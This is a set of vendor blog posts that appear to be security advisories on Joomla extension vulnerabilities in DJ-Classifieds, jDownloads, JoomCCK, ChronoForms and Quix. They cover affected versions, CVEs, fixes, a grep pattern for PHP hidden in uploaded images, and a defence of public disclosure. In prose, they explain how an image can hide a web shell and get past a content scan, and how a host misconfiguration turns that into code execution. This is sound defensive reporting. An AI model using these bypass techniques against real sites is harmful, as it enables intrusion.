What you actually get without any login is still serious:

A web shell hidden inside a valid image. The malicious code sits on your domain, inside a file that passes every image check, waiting for a way to be executed. That is a foothold, and a quiet one.
Content and disk abuse. An open, anonymous upload is a way to host arbitrary files on a trusted domain and to fill the disk.

It crosses into full remote code execution in two common situations. The first is a host that runs a whitelisted extension as PHP, the Apache AddHandler or mod_mime misconfiguration where image.gif or image.php.gif is handed to the PHP interpreter. That is not rare on cheap shared hosting. The second is any local file include elsewhere on the site that can be pointed at the stored image; at that point the PHP inside the "image" runs. Either way, an anonymous visitor ends up executing code on your server. That combination, unauthenticated and reachable by anyone, gated on the default stack only by controls that several ordinary configurations undo, is why we assess it as High.

DJ-Extensions' existing controls do reduce persistence: temporary uploads are cleared after roughly twelve hours, which shortens the life of a probe file. That is a genuine mitigating factor. It is not a fix, because twelve hours is plenty of time for a scanner to upload, fetch, and move on.

DJ-Extensions Shipped the Fix in Three Days

Credit where it is due: this was a fast, clean response. We reported the flaw privately on 17 July 2026, and DJ-Extensions released 3.11.2 on 20 July, a dedicated security release with a public write-up that names the imageupload feature and tells administrators to update immediately. That is the right way to handle a report, and it is a good deal better than the silent one-line changelogs we often have to decode.

The 3.11.2 release notes list two changes, and they are the correct two:

The imageupload endpoint is restricted. Authentication and CSRF/session validation now stop unauthenticated or unauthorised requests from writing files.
A server-side image-only allow-list. Uploads are limited to real image formats (jpg, jpeg, png, gif) on the server, so a .txt or any other non-image type is now rejected regardless of what the client sends. The old, broad list that allowed documents, archives and text files is gone.

Those are the same two fixes we recommended in our report: require a logged-in user and a valid token on the upload task, and stop trusting a three-string scan to decide what is safe. So the update genuinely closes the hole.

Two honest caveats for readers. The release notes frame the pre-fix risk as low, leaning on the "no executable files" argument. As the content-scan bypass above shows, that argument had a hole in it, and separately we watched the endpoint being probed in the wild, so treat "update immediately" as the operative line, not "you were probably fine." And the release credits no researcher by name, so if you only skimmed the changelog you might not realise how the flaw was found or that it was already being used. None of that detracts from the fix itself, which is solid and shipped fast.

CVE-2026-61424, not CVE-2025-54474

This unauthenticated upload flaw is tracked as CVE-2026-61424, fixed in 3.11.2. Do not confuse it with CVE-2025-54474, a separate, authenticated SQL injection in DJ-Classifieds 3.9.2 to 3.10.1 (fixed in 3.10.2, CVSS 8.5) that needs a privileged logged-in user. Different bug, different fix, different risk.

How Do I Fix My DJ-Classifieds Sites?

Updating is the priority and it is straightforward.

Update to 3.11.2. In each site's Joomla admin, go to System then Update then Extensions, find DJ-Classifieds, and update it to 3.11.2. If the update does not show there, download the latest build from your DJ-Extensions account and install it over the top. If you run more than a handful of sites, push the update across all of them at once from your mySites.guru dashboard.
If you cannot update straight away, block the endpoint. Deny anonymous requests to option=com_djclassifieds&task=imageupload at a web application firewall or reverse proxy, or block web access to the tmp/djupload directory, so the upload never reaches the component. This is a stopgap, not a fix.
Check the upload directory. Look in tmp/djupload (or your configured upload path) for files you did not put there, and for image files whose bytes contain a PHP open tag such as <? anywhere inside them. A quick way to spot candidates over SSH:
```
grep -rlie '<?php\|<?=\|<script language="php"' tmp/djupload/
```
Check for a break-in, not just the flaw. Updating stops the next attempt but does nothing about one that already happened. Look for unfamiliar administrator accounts in your Joomla Users list sorted by registration date, and for recently modified PHP across the whole site. If you find anything, clean the site properly, then change your Joomla passwords and secrets.

Remember that .htaccess tricks are a weak answer here. As we covered in why your .htaccess will not stop a Joomla hack, disabling PHP in one folder does not help much when the write happens inside the component and the real risk is an image served from a directory you did not think to lock down.

Why Image Upload Endpoints Keep Doing This to Joomla Sites

DJ-Classifieds is not an outlier. It joins a steady run of Joomla extension file-upload flaws we have written up, and several share the exact same shape: a front-end endpoint that touches uploads, reachable without a proper login, trusting a check that does not hold. The weakness class is CWE-434, unrestricted upload of a file with a dangerous type, and it turns up across the whole category rather than in one vendor's code.

The recent list makes the point. Page Builder CK (CVE-2026-56290, CVSS 10.0) was an unauthenticated upload that let the attacker pick the destination folder. Balbooa Forms accepted an attachment from anyone with no login and no file-type check. RSFiles and the iCagenda zero-day were both unauthenticated uploads reached without the right checks, and the SP Page Builder zero-day was used to plant hidden Joomla admins. Even jDownloads shipped a stray test upload script with no checks at all. DJ-Classifieds is a variation on the theme: the checks exist, but the content scan trusts a three-string blocklist that a short tag walks straight past.

The thread through all of them is the one we pulled on in AJAX endpoints are a big CMS security blind spot: a front-end endpoint that verifies too little and then does something dangerous. When a framework leaves each extension developer to get authentication, tokens and content validation right on their own, the same mistake gets made independently, over and over. It is also why we are not the only ones auditing Joomla extensions any more, and why this keeps being worth writing about.

How mySites.guru Keeps You Ahead of the Next One

A file-upload flaw is a race, and the clock starts the moment it is public. The slow part has never been the update itself. It is working out which of your sites even have the affected extension, on what version, and getting the patch onto all of them before a scanner gets there first.

mySites.guru collapses that. Every connected site reports the exact version of every installed extension on a twice-daily snapshot, so "which of my sites run DJ-Classifieds below 3.11.2" is answered the moment you ask it. The mass update tool then pushes the patch to every affected site in one operation. And because this flaw was being probed in the wild, the detection half matters too: the suspect content and hacked-file tool runs on every audit of every connected Joomla site and flags web shells and files that do not belong, including a PHP payload hidden inside an image, without us needing a bespoke signature for this particular attack first. If you are unsure how to read what it raises, we cover suspect content versus a confirmed hacked file separately.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious extension flaw like this one is found, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

That is the whole point of connecting your sites before the next flaw drops rather than after. When it does, you are not scrambling to build a list. You already have it, you push one update, and you move on. If you are not set up yet, start with a free audit on one site and see your full extension inventory, or sign up for mySites.guru for vulnerability flags and one-click updates across every site you manage. If a site has already been touched, fix.mysites.guru is the done-for-you option.

Disclosure and Severity

This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by an anonymous user, with no login and no user interaction, on any site running DJ-Classifieds up to and including 3.11.1. On a default server the component's controls keep it short of direct code execution, so the immediate impact is a web shell hidden in a valid image plus content and disk abuse; it reaches remote code execution on hosts that run a whitelisted extension or via a local file include. We assess it as High severity, CVSS 4.0 8.8 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N), scoring the guaranteed arbitrary file write rather than the host-dependent code execution. It is tracked as CVE-2026-61424. DJ-Extensions published a security release and shipped the patched 3.11.2 on 20 July 2026.

8.8 CVSS 4.0

High Unauthenticated No login required; CVE-2026-61424, fixed in DJ-Classifieds 3.11.2

Reachable by anyone on the internet with no account, and seen being probed in the wild. On a default server it is a web shell hidden in a valid image plus content and disk abuse; it becomes remote code execution on hosts that run a whitelisted extension or via a local file include. The fix is to update to 3.11.2, or block the imageupload endpoint if you cannot update yet.

No login Exploited in the wild Fixed in 3.11.2 RCE on misconfigured hosts

Field	Detail
Component	DJ-Classifieds (`com_djclassifieds`)
Vendor	DJ-Extensions.com
Type	Unauthenticated arbitrary file upload
Endpoint	`index.php?option=com_djclassifieds&task=imageupload`
CWE	CWE-434 (Unrestricted Upload of File with Dangerous Type)
CVE	CVE-2026-61424
Severity	High (our assessment)
CVSS 4.0	8.8 (High), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N` (our own assessment)
Found by	Phil Taylor, mySites.guru, from a customer's server logs
Affected versions	Up to and including 3.11.1 (confirmed live on 3.10.1, by code on 3.11.1; present back to at least 3.9.2)
Fixed in	DJ-Classifieds 3.11.2, released 20 July 2026

Date	Event
16 July 2026	A site we manage shows an anonymous hit on the `imageupload` task in its server logs, dropping a randomly named `.gif`.
17 July 2026	We reproduce the flaw on a controlled Joomla install, confirm the affected version range by code review, and report it privately to DJ-Extensions.
20 July 2026	DJ-Extensions releases DJ-Classifieds 3.11.2, a security release that adds authentication and a session token to the `imageupload` endpoint and enforces a server-side image-only allow-list. Update every affected site.

jDownloads 4.1 Shipped an Unauthenticated Upload Endpoint, Now Fixed in 4.1.6

phil@mysites.guru (Phil Taylor) — Fri, 17 Jul 2026 00:00:00 GMT

jDownloads is a long-established download-manager component for Joomla, installed as com_jdownloads and used to store, organise and serve files on business, membership and community sites. It has been on the Joomla Extensions Directory since 2007. Every 4.1.x release, from 4.1.0 to 4.1.5, shipped a file it should not: a standalone upload script with no login check, no CSRF token and no permission check, sitting at administrator/components/com_jdownloads/assets/upload/upload-handler.php. Anyone on the internet who knew the address could use it to upload files to your site.

jDownloads has now released 4.1.6 as a security update on 18 July 2026. It removes the leftover files from the package and clears any legacy files and test_uploads directory left behind by an earlier 4.1.x version when a site installs it. Update every affected site to 4.1.6. This post explains what the file did, which versions carried it, how serious it really was, and how to make sure it is gone, without publishing anything an attacker could copy.

Update to jDownloads 4.1.6

jDownloads 4.1.6 is the fix: it removes administrator/components/com_jdownloads/assets/upload/upload-handler.php and clears the leftover test_uploads directory on install. Update every jDownloads 4.1 site you run. If you cannot update immediately, delete that file by hand as a stopgap; it does not change how jDownloads works.

TL;DR

TL;DR: jDownloads 4.1.0 to 4.1.5 ship administrator/components/com_jdownloads/assets/upload/upload-handler.php, a standalone move_uploaded_file endpoint with no _JEXEC guard, no Joomla session, no CSRF token and no permission check. It ignores jDownloads' own upload blacklist and enforces only its own hardcoded allow-list, which excludes .php but permits archives, images, documents and executables like .exe and .msi. An unauthenticated visitor could write files of those types into a folder on your site and read them back over HTTP. The file was introduced in 4.1.0 and is byte-identical across every 4.1.x build (MD5 d5bbd57fd97c99890f6a5fdc9d79ec00); it is absent from 4.0.52 and earlier. The developer confirmed it was a test component included by mistake, and jDownloads 4.1.6 (released 18 July 2026) removes it. It is tracked as CVE-2026-61900. Update every affected site to 4.1.6, and mySites.guru flags every jDownloads 4.1.0 to 4.1.5 site as vulnerable automatically so you can find them.

What Is Actually Wrong in jDownloads 4.1?

The problem is a single file that should never have shipped. upload-handler.php is a self-contained PHP script that handles a file upload on its own, outside Joomla's normal request flow. It has none of the checks a Joomla upload is supposed to have:

No _JEXEC guard, so it runs when requested directly by URL rather than only through Joomla.
No Joomla session or login check, so it does not care who you are.
No CSRF token, so there is nothing tying the request to a real logged-in user.
No authorise() permission check, so no capability is required.

It also ignores jDownloads' own configuration. The component has a proper upload area in the Joomla admin with a blacklist that blocks .php and other dangerous types. This script does not use any of that. It enforces its own hardcoded list of allowed extensions, and that list, while it excludes .php, includes archives, images, office documents, and executables such as .exe and .msi. Whatever an anonymous visitor sends, if the extension is on that list, the file is written to a folder on your site under a timestamped name.

We reproduced this on a local Joomla 5 install to be certain of the behaviour. As an anonymous request, with no cookie and no token, an allowed file uploaded successfully and was then readable back over HTTP. A direct .php upload was refused by the script's own list. We are not publishing the request an attacker would send, the parameters, or a working proof of concept. The shape of the bug is enough to understand the risk and to remove the file.

Which jDownloads Versions Are Affected?

Every 4.1.x release carries the file: 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4 and 4.1.5. It is byte-for-byte identical in all of them, with the MD5 hash d5bbd57fd97c99890f6a5fdc9d79ec00, so you can verify a suspect file on any site by hashing it:

md5sum administrator/components/com_jdownloads/assets/upload/upload-handler.php

We pinned the version range by comparing the official jDownloads packages directly. The file first appears in 4.1.0 and is not present in 4.1.0's predecessor, 4.0.52, or any earlier release, and it is removed again in the patched 4.1.6. In practice that means the 4.0 line and the older 3.x line, which are still the most common jDownloads versions we see across the sites we manage, do not carry this particular file. It is the 4.1.0 to 4.1.5 sites that are exposed. If your sites are on any of those, they have the file, whether or not you use uploads, so update them to 4.1.6.

Note

A matching hash is a definite hit, but the absence of the exact hash does not clear a site: if you find a file at that path on a 4.1.x install, delete it regardless of its hash. The hash is a convenience for confirming the shipped file, not a scanner in its own right.

How Was This Found, and How Was It Fixed?

This one came to us through a mySites.guru subscriber. They found the flaw and reported it privately to the jDownloads developer, Arno Betz, who confirmed on 16 July 2026 that the file was experimental upload code left in the release package by mistake and said a fix was being prepared. jDownloads then released 4.1.6 on 18 July 2026, which removes the handler and clears the leftover test_uploads directory when a site installs the update.

We obtained the vendor's confirmation and then reproduced the flaw on a local Joomla install, so that we could be precise about what was exposed and which versions carried the file before flagging it to the sites we manage. It is now tracked as CVE-2026-61900. jDownloads' own advisory thanks the community for reporting security issues responsibly but does not name the file or credit anyone by name, so if you only read the changelog you might miss what 4.1.6 actually closes.

Why we are not publishing an exploit

The developer acknowledged the flaw and has shipped a fix in 4.1.6. We have withheld the exact request, the parameters and any working proof of concept. The point of this post is to get the file off live sites, not to hand anyone a tool. The file path is included only because you need it to check for the file and delete it if you cannot update immediately.

How Serious Is It Really?

It is easy to file every "unauthenticated file upload" under the same maximum-severity panic, so it is worth being precise. This is a genuine, no-login flaw, but it is not a clean remote code execution on a default server, and saying otherwise would be dishonest.

The reason is the script's own extension list. It blocks a bare .php, so an attacker cannot simply upload a web shell and run it on a standard setup. What they can do without any login is real enough:

Host malware, phishing pages, or other unwanted files on your domain. A trusted domain quietly serving attacker content gets flagged by browsers and search engines, which drags down your reputation and your search rankings even if no code ever runs.
Fill your disk. The script accepts large files, so it is a straightforward abuse and denial-of-service primitive.

It crosses into remote code execution in two situations. The first is a server that executes secondary file extensions, an Apache AddHandler or mod_mime misconfiguration where a name like shell.php.jpg is run as PHP even though it "looks like" an image. That is common enough on cheap shared hosting. The second is a site where an administrator has widened the allowed types to include an executable one. In both cases an anonymous visitor gets to run code on your server. We assess the flaw as High severity for that reason: unauthenticated and reachable by anyone, gated on the default stack only by an extension list that several common configurations undo.

How Do I Fix My jDownloads Sites?

The proper fix is to update to 4.1.6. If you cannot do that on a site straight away, remove the file by hand as a stopgap. Either way it takes a couple of minutes per site.

Update to 4.1.6. Update jDownloads to 4.1.6 on every affected site through Joomla's own Updates screen or by installing the package. It removes upload-handler.php from the component and clears the leftover test_uploads directory on install, so getting onto the patched release is the right end state.
Or delete the upload script by hand. If you cannot update a site immediately, use FTP, SSH or your host's file manager to delete administrator/components/com_jdownloads/assets/upload/upload-handler.php. That one file is the whole problem. The default.php sitting next to it is part of the same leftover test code and can go too. Over SSH:
```
rm administrator/components/com_jdownloads/assets/upload/upload-handler.php
```
Clear the test_uploads folder. Look for administrator/components/com_jdownloads/test_uploads. If it exists, that is where the script writes, so review it for anything you did not put there, especially files that are not obviously your own, and then delete the folder.
Check for signs it was used. If a site ran 4.1.0 to 4.1.5 with the file in place for a while, do not just assume it is clean. Look for unexpected files in web-served folders, unfamiliar administrator accounts in your Joomla Users list sorted by registration date, and recently modified PHP files across the site.

If you cannot get to a site immediately, you can also block the path at the web server as a stopgap, denying access to upload-handler.php, but updating to 4.1.6 is cleaner and permanent.

How mySites.guru Flags This Across Every Site

If you run sites through mySites.guru, two things are already working for you. First, mySites.guru now carries a rule that flags any connected Joomla site running jDownloads 4.1.0 to 4.1.5 as vulnerable, so the affected sites surface on their own rather than waiting for you to go looking. Second, the extension inventory lets you search for jDownloads once and see every connected site running it and the version each is on, so you know your exposure in seconds instead of logging into forty admin panels.

The monitoring also watches for the outcome, not just the extension. An unexpected file appearing in a public folder, or an unfamiliar administrator account, is caught by the suspect content and hacked-file detection regardless of which extension let it in. That is the same generic detection that catches Page Builder CK and RSFiles upload attempts, and it is why a new bug of this shape does not need a bespoke signature before it is visible.

Find every jDownloads install across your sites

Open your Extension Inventory

Search for jDownloads across every connected Joomla site and filter for anything on 4.1.0 to 4.1.5 to find the installs that need updating to 4.1.6. Not a subscriber? Sign up free and connect your sites.

File Uploads Are a Recurring Joomla Attack Surface

If you manage Joomla sites, treat every extension that touches file uploads as part of your attack surface. The underlying weakness here, a file with a dangerous type written where a check should have stopped it, is CWE-434, and it turns up across the whole category rather than in one vendor's code.

The recent run of Joomla disclosures makes the point. Balbooa Forms, iCagenda, Page Builder CK, RSFiles, the SP Page Builder zero-day and DJ-Classifieds were all variations on the same theme: an endpoint that accepted a file without a strict check on what actually got written. jDownloads' version is a little different, because the dangerous file is not part of the working feature at all, just a test script that was never meant to reach a live site. The lesson is the same one behind the AJAX and frontend endpoints blind spot: anything reachable over HTTP has to assume the request is hostile, and a stray script with no checks is reachable the moment it is installed.

To the developer's credit, jDownloads has a short security history and responded to the private report rather than ignoring it, shipping 4.1.6 within days. This is one file left in by mistake, not a pattern of problems, and the fix removes it properly.

Stay Ahead of the Next One

This is one extension on one day, and there will be another, because Joomla runs on thousands of third-party extensions and the ones that handle files keep producing bugs like this. The hard part is never the removal itself. It is knowing the problem exists, knowing which of your sites are affected, and getting to them before someone else does.

That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known problem, jDownloads 4.1.0 to 4.1.5 included, and lets you act across all of them from one screen. When something like this surfaces before there is a CVE or a clear public warning, you still see exactly which of your sites run it.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is found, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Want the alerts and the tooling to act on them? Start with a free audit on one site and see your full extension inventory, or sign up for mySites.guru to get vulnerability flags and one-click updates across every site you manage. If a site has already been touched, fix.mysites.guru is the done-for-you option.

Disclosure and Severity

This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by an anonymous user, with no login and no user interaction, on any site running jDownloads 4.1.0 to 4.1.5. On a default server the script's extension list keeps it short of direct code execution, so the immediate impact is unauthenticated file hosting and disk abuse; it reaches remote code execution on servers that execute secondary extensions or where an administrator has allowed an executable type. We assess it as High severity, CVSS 4.0 8.8 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N), scoring the guaranteed arbitrary file write rather than the host-dependent code execution. It is tracked as CVE-2026-61900. jDownloads published a security advisory and released the patched 4.1.6 on 18 July 2026.

8.8 CVSS 4.0

High Unauthenticated CVE-2026-61900; fixed in jDownloads 4.1.6

Reachable by anyone on the internet with no account. On a default server it is unauthenticated file hosting and disk abuse; it becomes remote code execution on servers that run secondary file extensions or where an administrator has allowed an executable upload type. The fix is to update to 4.1.6, or delete the file by hand if you cannot update straight away.

No login Fixed in 4.1.6 Malware hosting RCE on misconfigured hosts

Field	Detail
Component	jDownloads (`com_jdownloads`)
Vendor	Arno Betz, jdownloads.com
Type	Unauthenticated arbitrary file upload (leftover test script)
File	`administrator/components/com_jdownloads/assets/upload/upload-handler.php` (MD5 `d5bbd57fd97c99890f6a5fdc9d79ec00`)
CWE	CWE-434 (Unrestricted Upload of File with Dangerous Type)
CVE	CVE-2026-61900
Severity	High (our assessment)
CVSS 4.0	8.8 (High), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N` (our own assessment)
Reported by	A mySites.guru subscriber, privately, to the vendor
Affected versions	4.1.0 to 4.1.5 (file introduced in 4.1.0; absent from 4.0.52 and earlier)
Fixed in	jDownloads 4.1.6, released 18 July 2026

Date	Event
16 July 2026	The vendor, Arno Betz, confirms privately that `upload-handler.php` was experimental upload code included in the jDownloads release package by mistake, and says a fix that removes the handler and the `test_uploads` directory is being prepared.
17 July 2026	We reproduce the flaw on a local Joomla install, confirm the affected version range by comparing official packages, add a rule flagging jDownloads 4.1.0 to 4.1.5 for the sites we manage, and publish this advice. No proof of concept is released.
18 July 2026	jDownloads releases 4.1.6, a security update that removes the leftover upload files from the package and clears the `test_uploads` directory on install. Update every affected site to 4.1.6.

We Are Not the Only Ones Auditing Joomla Extensions

phil@mysites.guru (Phil Taylor) — Fri, 17 Jul 2026 00:00:00 GMT

mySites.guru has reported a run of Joomla extension vulnerabilities over the past month, enough of them that you could be forgiven for thinking we are the only people auditing this code. We are not, and this week proved it cleanly. Two more Joomla extension vulnerabilities were published by the Joomla CNA, both rated High, and neither of them was ours.

We are writing about them anyway, for two reasons. Our customers run both extensions, so the update matters to them whoever found the flaw. And it is worth saying out loud that a healthy security ecosystem has more than one set of eyes in it.

Two more extension flaws, and neither was ours

Here are the two, exactly as the Joomla CNA published them:

CVE	Extension	Flaw	Fixed in	Reported by
CVE-2026-49048	JoomCCK (JoomCoder)	Unauthenticated SQL injection	6.4.1	Kamil Soltanov
CVE-2026-58148	ChronoForms (ChronoEngine)	Unauthenticated stored XSS	8.0.53	Italo Almeida

CVE-2026-49048 is an unauthenticated SQL injection in JoomCCK, the content construction kit by JoomCoder. A front-end controller task builds two SQL statements by concatenating a request parameter straight into the query, with no escaping or parameterisation, so an anonymous visitor can bend the query and read from the database. Every version up to and including 6.4.0 is affected, and it is fixed in 6.4.1. The Joomla CNA scored it CVSS 4.0 8.7 (High), and it rates 9.8 (Critical) on the older CVSS 3.1 scale. It was reported by Kamil Soltanov.

8.7 CVSS 4.0

High CVE-2026-49048 (JoomCCK), scored by the Joomla CNA

Unauthenticated SQL injection reachable over the internet with no login, ending in read access to the site database. It also rates 9.8 (Critical) on the older CVSS 3.1 scale. Fixed in JoomCCK 6.4.1.

No login needed Exploitable over the internet Database read 9.8 Critical on CVSS 3.1

CVE-2026-58148 is an unauthenticated stored cross-site scripting flaw in ChronoForms, the long-established form builder by ChronoEngine. An anonymous visitor can store markup that later executes in another user's browser. Every version up to and including 8.0.52 is affected, and it is fixed in 8.0.53. It too was scored CVSS 4.0 8.7 (High), and was reported by Italo Almeida.

8.7 CVSS 4.0

High CVE-2026-58148 (ChronoForms), scored by the Joomla CNA

Unauthenticated stored cross-site scripting reachable with no login, where injected markup later executes in another user's browser. Fixed in ChronoForms 8.0.53.

No login needed Unauthenticated stored XSS Runs in a visitor's browser

Credit where it is due. Kamil Soltanov found the JoomCCK injection and Italo Almeida the ChronoForms XSS, both credited by name in the public CVE records. Neither is connected to us. That is the whole point of this post: independent researchers are auditing the same extensions we are, and that is a good thing.

It has kept happening since. In August 2026 the Joomla CNA published an unauthenticated remote code execution flaw in Fabrik, CVE-2026-66915, scored a maximum CVSS 10.0 and reported by Moe Khalilov of LeetProtect Research. Also not ours.

Why a busy month of disclosures is good news

It is easy to read a run of extension CVEs as a sign that Joomla itself is falling apart, and it is worth being precise that these are flaws in third-party extensions, not in Joomla's own core. The truth is closer to the opposite of falling apart: flaws that are found and disclosed get fixed. The ones that should worry you are the ones nobody is looking for, sitting quietly in code that never gets a second pass. More researchers looking at widely used extensions means more of those quiet flaws get pulled into the light and patched.

The catch is the part nobody puts on the CVE record. Every one of these fixes is one more update your sites need, and the fix only protects the sites that actually take it. A disclosure is only half the job. The rollout is the half that decides whether any of it protected anyone, and the rollout is exactly the part that gets skipped when checking every site by hand is a chore that grows with every client you take on.

But doesn't publishing just tip off hackers?

Every time we post one of these, someone on Facebook tells us we should keep quiet, that writing it up only hands attackers a map, or that we are doing great harm to the Joomla community by making the flaw public at all. It is a fair thing to raise, and it deserves a real answer rather than a shrug.

A blog post like this one is the end of the process, not the start of it. Behind it sits weeks, sometimes months, of work nobody sees: finding the flaw, proving it on a test install, writing it up for the developer, disclosing privately, waiting, testing the fix they send back on their own behalf, coordinating the release, waiting for a CVE to be assigned, and waiting again. By the time we publish, the fix has already shipped and the CVE record already exists. We are the last car in that convoy, not the first.

"Malicious actors do not read blog posts to work out what to exploit. They are already on it."

That is the part the objection misses. Sophisticated threat actors, some of them state-backed, are already on these extensions, continuously and constantly, probing widely used code for exactly this kind of flaw, often before anything is public at all. Keeping a vulnerability secret does not stop them finding it, it only stops the defenders knowing. That is how zero-days come to exist in the first place. Where a fix already exists, they are watching the signals that ship long before any write-up. The moment a vendor ships a release labelled "security", someone diffs it against the previous version and finds the changed line in minutes.

This is not unique to extensions, and it is worth spelling out because it is exactly how Joomla's own core security releases work. The moment the Joomla project ships a core security update, malicious actors are already poring over the diff, isolating the changed lines, and building tools to exploit every site that has not updated yet. By releasing the fixed code at all, Joomla has itself invited that critique, because a security patch is a map straight to the bug it closes. Nobody sensible argues the project should therefore stop shipping fixes. The release has to be public to protect anyone, and the release is what starts the clock, not a blog post written after it.

The moment a CVE record is created, it is indexed and scraped. Exploitation starts at the release and the CVE, not at the write-up, and it would start there whether or not we ever wrote a word. Some vendors we have handed a ninety-day window have simply shipped a quietly patched version without telling us, and declined to coordinate at all. The fix was already public, the diff was already there to read, and our silence would have protected nobody.

The CVE record is not only fuel for attackers, it is the reason defenders stand a chance of keeping up. The CVE program exists to standardise how each vulnerability is named and tracked, so a security team can identify the weakness, scan their own estate for it, and prioritise the fix from one shared reference rather than a hundred vendor blogs in a hundred different formats. A flaw fixed silently, with no CVE, still helps the attacker who reverse-engineers the patch, and helps nobody else. A published CVE is what lets everyone else catch up. It is precisely the record mySites.guru consumes to tell you which of your sites are affected, which is the whole point of assigning one.

A silent argument never wins. Keeping quiet does not slow an attacker who is already working from public information, it only leaves the people running the software in the dark. The scale settles it anyway. Wordfence alone published more than two hundred WordPress plugin and theme vulnerabilities in the past week, and more than eight hundred this month. We have published fewer than fifteen, a vanishingly small share of what is already out in the open, and the idea that our handful of posts is what moves the needle does not hold up next to those numbers. What our fifteen do carry is some of the most critical flaws we have ever found, which is exactly why the people running that code deserve to hear about them.

Put the choice the way it actually presents itself. Search Google for "hacked by AntonKill" and you are shown a sea of defaced Joomla sites whose owners never applied the update that would have saved them. Would you rather read a blog post we wrote about the flaw and how to close it, or be one more entry in that list of a million sites that never bothered? A write-up is the version of the story where the reader still gets to act first.

Then there is Bob the Builder

The "just stay quiet" argument never answers the obvious question: if not a blog post, then how is anyone meant to find out at all?

Open source has no mailing list. There is no register of everyone running a given Joomla extension, and no button a developer can press to reach them. Commercial extensions are barely better off. Most vendors do not hold an accurate list of who actually runs their product, and the lists they do hold are full of addresses that unsubscribed long ago and never see the alert.

So picture Bob. Bob is a builder, on site all day, up a ladder. His website was put together one weekend by his teenage son, who was bored and dodging his homework. Bob is never going to read a security advisory. He will not check a changelog, and he will not find his way to a blog post about an SQL injection in an extension he could not name if you asked him. Telling Bob to follow the developer's announcements is telling him nothing. He does not even know which extensions went into his site in the first place, and he has never had a reason to. What Bob can do is pay someone to watch on his behalf, which is the whole reason a service like mySites.guru exists.

At the other end sits the agency with a thousand client sites, for whom "just update it" is the same small job multiplied by a thousand logins. They do not need telling that a flaw exists so much as they need one place to see which of their sites are affected and fix them together. It is the same need Bob has, at a different scale.

What almost 100,000 live sites tell us

It is easy to forget, in an argument about whether a blog post helps or harms, what sits behind these posts. mySites.guru is not a side project. It has thousands of paying subscribers and watches close to 100,000 live websites every single day. That scale is the whole point: our view of Joomla extension security comes from the real world at volume, not from a lab or a single test install on a laptop.

We see the trends in that data before the Joomla project itself hears about them. We can watch which extensions are suddenly being probed, which exploits are being tried, and which sites have quietly been compromised, because we are looking at real production websites rather than a hypothesis. The sites we watch are every kind there is:

the village bakery
the local butcher
the school-project site a kid built five years ago and left running on a Raspberry Pi, long since compromised and now hosting a crypto-miner and a backdoor for someone else
and, at the other end, the sites behind government bodies in countries all around the world, hundreds of them

That range is exactly why this work matters. A flaw in a Joomla extension is never an abstract CWE number to us. It is a specific list of real sites, run by real people who mostly have no idea the extension they installed once has a hole in it. When we tell you to update JoomCCK or ChronoForms, it is because we can see who is running them, and what tends to happen to the sites that do not.

How to make sure you actually get the fixes

This is the job mySites.guru is built for, and it does not care who found the flaw. We track published Joomla extension CVEs, add the affected version ranges to our vulnerability database, and flag every connected site running a vulnerable version. Whether the finder was us, Kamil Soltanov, Italo Almeida, or anyone else, the outcome for you is the same: the affected sites light up, and you update them.

"In our experience there are only two kinds of site owner: the ones who patch the day a fix ships, and the ones who never patch at all."

We cannot make anyone patch. What we can do is take away every excuse not to. mySites.guru puts the affected sites, the available update, and the button that applies it in one console, so "I did not know" and "keeping up across that many sites is too much work" stop being reasons.

Find every JoomCCK and ChronoForms install across your sites

Open your Extension Inventory

Search once and see every connected Joomla site running either extension, the version each is on, and whether an update is waiting. Not a subscriber? Sign up free and connect your sites.

So the short version is the same as it always is:

Update JoomCCK to 6.4.1 or later
Update ChronoForms to 8.0.53 or later
If you manage more than a handful of sites, let mySites.guru show you which ones run either extension rather than checking each admin by hand, then push the update to all of them from one dashboard

We will keep auditing Joomla extensions and reporting what we find. It is reassuring to be reminded, in the same week, that we are in good company doing it.

Unauthenticated SQL Injection in Quix Page Builder found by mySites.guru

phil@mysites.guru (Phil Taylor) — Wed, 15 Jul 2026 16:29:14 GMT

Quix is one of the most widely installed drag-and-drop page builders for Joomla, the tool a lot of agencies and site owners reach for when they want to lay out a page without touching code. During routine security research on the extensions our customers rely on, mySites.guru discovered an unauthenticated SQL injection vulnerability in Quix Page Builder, and reported it to ThemeXpert before disclosing anything publicly. The fix is out: ThemeXpert closed the injection in Quix 6.2.1, then shipped 6.2.2 the next day to close a further issue we reported. Run 6.2.2.

If you run Quix on any Joomla site, update to 6.2.2 now. If you manage more than a handful of sites, read on for how to find every affected one at once.

TL;DR

mySites.guru found an unauthenticated SQL injection in Quix Page Builder and reported it to ThemeXpert
The flaw is in one of Quix's front-end element endpoints, present in 6.2.0 and every earlier version; fixed in 6.2.1
The endpoint took an article id from an anonymous request and placed it straight into a database query without turning it into a number, so an anonymous visitor could read data from any table: user accounts, password hashes, other Joomla API secrets, and anything else in the database, from draft content and API keys to personal data and ecommerce orders
It is the error-based kind of SQL injection, not the blind kind. The endpoint reflects the database error back in its response, so the data comes straight out, one value per request, with no guessing
Update to Quix 6.2.2 immediately, the current release
It is tracked as CVE-2026-58078, assigned by the Joomla CNA and crediting Phil Taylor of mySites.guru as the finder
The Joomla CNA scored it CVSS 4.0 8.7 (High)
The injection was one of seven security issues we reported. Six, the injection among them, were fixed in 6.2.1 and the seventh, an unsanitised CSS ID/Class field, the next day in 6.2.2. ThemeXpert also hardened the bundled JMedia media manager. Updating to 6.2.2 closes the lot
Credit to ThemeXpert: they shipped the fix the same day we reported it
mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand

